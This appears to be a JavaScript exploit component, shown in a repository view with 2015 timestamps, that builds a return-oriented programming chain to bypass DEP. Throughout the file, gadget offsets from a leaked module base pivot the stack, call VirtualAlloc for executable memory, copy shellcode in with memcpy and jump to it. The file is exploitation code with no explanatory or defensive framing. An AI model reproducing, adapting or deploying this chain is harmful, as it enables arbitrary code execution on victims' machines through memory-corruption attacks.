2015-02-06 17:04:59 +00:00
|
|
|
var RopBuilder = function(informer, addresses, scLength) {
|
|
|
|
this.rop = new Uint32Array(0x1000);
|
|
|
|
this.ropAddress = informer.leakRopAddress(this.rop);
|
|
|
|
this.base = addresses['base'];
|
|
|
|
this.virtualAlloc = addresses['virtualAlloc'];
|
|
|
|
this.memcpy = addresses['memcpy'];
|
|
|
|
this.scAddr = addresses['shellcode'];
|
|
|
|
this.scLength = scLength;
|
|
|
|
};
|
|
|
|
|
2015-02-06 17:34:20 +00:00
|
|
|
// Build the ROP chain to bypass DEP
|
2015-02-06 17:04:59 +00:00
|
|
|
RopBuilder.prototype.buildRop = function() {
|
|
|
|
// ROP chain (rets in comments are omitted)
|
|
|
|
// we perform:
|
|
|
|
// (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
|
|
|
|
// memcpy(EAX, shellcode, shellcodeLen)
|
|
|
|
// (void(*)())EAX()
|
2015-02-06 17:34:20 +00:00
|
|
|
var offs = 0x30/4; // offset to chain after CALL [EAX+0x30]
|
2015-02-06 17:04:59 +00:00
|
|
|
this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30;
|
|
|
|
this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called
|
|
|
|
this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX)
|
|
|
|
this.rop[offs + 0x2] = this.base + 0x10e9; // POP ECX; => pop the value at offs + 0x7
|
|
|
|
this.rop[offs + 0x3] = 0; // lpAddress
|
2015-02-06 20:49:49 +00:00
|
|
|
this.rop[offs + 0x4] = 0x4000; // dwSize (0x4000)
|
2015-02-06 17:04:59 +00:00
|
|
|
this.rop[offs + 0x5] = 0x1000; // flAllocationType (MEM_COMMIT)
|
|
|
|
this.rop[offs + 0x6] = 0x40; // flProtect (PAGE_EXECUTE_READWRITE)
|
|
|
|
this.rop[offs + 0x7] = this.ropAddress + (offs+0xe)*4; // points to memcpy's dst param (*2)
|
|
|
|
this.rop[offs + 0x8] = this.base + 0x1c743; // MOV [ECX], EAX; => set dst to RWX mem
|
|
|
|
this.rop[offs + 0x9] = this.base + 0x10e9; // POP ECX;
|
|
|
|
this.rop[offs + 0xa] = this.ropAddress + (offs+0xd)*4; // points to (*1) in chain
|
|
|
|
this.rop[offs + 0xb] = this.base + 0x1c743; // MOV [ECX], EAX; => set return to RWX mem
|
|
|
|
this.rop[offs + 0xc] = this.memcpy;
|
|
|
|
this.rop[offs + 0xd] = 0xffffffff; // (*1): ret addr to RWX mem filled at runtime
|
|
|
|
this.rop[offs + 0xe] = 0xffffffff; // (*2): dst for memcpy filled at runtime
|
|
|
|
this.rop[offs + 0xf] = this.scAddr; // shellcode src addr to copy to RWX mem (param2)
|
|
|
|
this.rop[offs + 0x10] = this.scLength; // length of shellcode (param3)
|
|
|
|
};
|
|
|
|
|